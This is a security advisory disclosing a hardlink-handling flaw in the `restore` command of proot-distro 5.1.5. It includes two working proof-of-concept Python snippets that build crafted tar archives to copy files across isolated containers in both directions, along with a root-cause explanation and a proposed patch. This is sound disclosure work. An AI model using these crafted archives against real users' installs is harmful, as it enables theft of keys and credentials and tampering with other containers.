GHSA-7h3g-4w2f-fj2f
proot-distro has a Container Isolation Bypass via Crafted Restore Archive
Quick fix
GHSA-7h3g-4w2f-fj2f — proot-distro: upgrade to the fixed version with the command below.
pip install --upgrade 'proot-distro>=5.1.6' Details
## Affected Component
- **Package:** proot-distro - **Affected command:** `restore` - **Attack surface:** Host-side Termux CLI processing a user-supplied backup archive - **Vulnerability type:** Container Isolation Bypass / Cross-Container Read and Write
---
## Affected Versions
| Component | Version | |---|---| | proot-distro | 5.1.5 (confirmed affected) | | Test distro | Alpine Linux | | Architecture | aarch64 | | Device | Samsung Galaxy A23 | | Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |
---
## Summary
When restoring a crafted backup archive, `proot-distro restore` accepts hardlink entries whose source path references a different installed container.
The restore logic resolves the hardlink source from the archive's `linkname` field and copies the referenced file into the container identified by the archive entry.
Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.
As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.
---
## Proof of Concept #1 — Cross-Container File Disclosure
All testing was performed using self-owned containers and harmless marker data only.
### Step 1 — Create a victim container and marker file
```bash proot-distro install alpine --name victim
proot-distro login victim -- sh -lc ' mkdir -p /root printf "PROOF-12345\n" > /root/proof.txt ' ```
Verification:
``` proot-distro login victim -- cat /root/proof.txt
PROOF-12345 ```
---
### Step 2 — Create an attacker container
```bash proot-distro install alpine --name attacker ```
---
### Step 3 — Build a crafted archive
```python python3 -c ' import tarfile
tf = tarfile.open("malicious.tar", "w")
d = tarfile.TarInfo("attacker/rootfs/exfil") d.type = tarfile.DIRTYPE d.mode = 0o755 tf.addfile(d)
h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key") h.type = tarfile.LNKTYPE h.linkname = "victim/rootfs/root/proof.txt" h.mode = 0o600 tf.addfile(h)
tf.close() ' ```
---
### Step 4 — Restore the crafted archive
```bash proot-distro restore ./malicious.tar ```
---
### Step 5 — Read the copied file from the attacker container
```bash proot-distro run attacker -- cat /exfil/stolen_key ```
Observed output:
``` PROOF-12345 ```
This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.
---
## Proof of Concept #2 — Cross-Container File Injection
### Step 1 — Create attacker-controlled source data
```bash proot-distro install alpine --name attacker
proot-distro login attacker -- sh -lc ' mkdir -p /root printf "ATTACKER_DATA\n" > /root/source.txt ' ```
---
### Step 2 — Create a victim container
```bash proot-distro install alpine --name victim ```
---
### Step 3 — Build a crafted archive
```python python3 -c ' import tarfile
tf = tarfile.open("write_test.tar", "w")
h = tarfile.TarInfo( "victim/rootfs/root/copied_from_attacker.txt" )
h.type = tarfile.LNKTYPE h.linkname = "attacker/rootfs/root/source.txt" h.mode = 0o600
tf.addfile(h) tf.close() ' ```
---
### Step 4 — Restore the crafted archive
```bash proot-distro restore ./write_test.tar ```
---
### Step 5 — Verify file injection into the victim container
```bash cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt" ```
Observed output:
``` ATTACKER_DATA ```
This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.
---
## Impact
An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.
Observed impacts include:
- Disclosure of files from other installed containers. - Injection of attacker-controlled files into other installed containers. - Exposure of SSH private keys. - Exposure of API credentials. - Exposure of configuration files containing secrets. - Exposure of application databases stored inside container rootfs directories.
The issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers.
---
## Root Cause
During hardlink processing, the restore implementation resolves the source container from the archive's `linkname` field.
The resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored.
As a result, archive-controlled metadata determines which installed container is used as the source of the copy operation.
---
## Proposed Fix
```python link_container, link_src = _dest_path(member.linkname)
if link_src is None: continue
if link_container != container_name: continue
link_src = _safe_dest( link_container, link_src, follow_final=True ) ```
This preserves existing path traversal protections while restoring the expected isolation boundary between containers.
---
## Additional Notes
- Issue reproduced on the official Termux package repository. - No root access was used. - No third-party data was accessed. - Testing used only self-owned containers and harmless marker data. - Cross-container disclosure reproduced using the marker value `PROOF-12345`. - Cross-container file injection reproduced using the marker value `ATTACKER_DATA`.
Are you affected?
Enter the version of the package you're using.
Affected packages
0 Fixed in: 5.1.6 pip install --upgrade 'proot-distro>=5.1.6'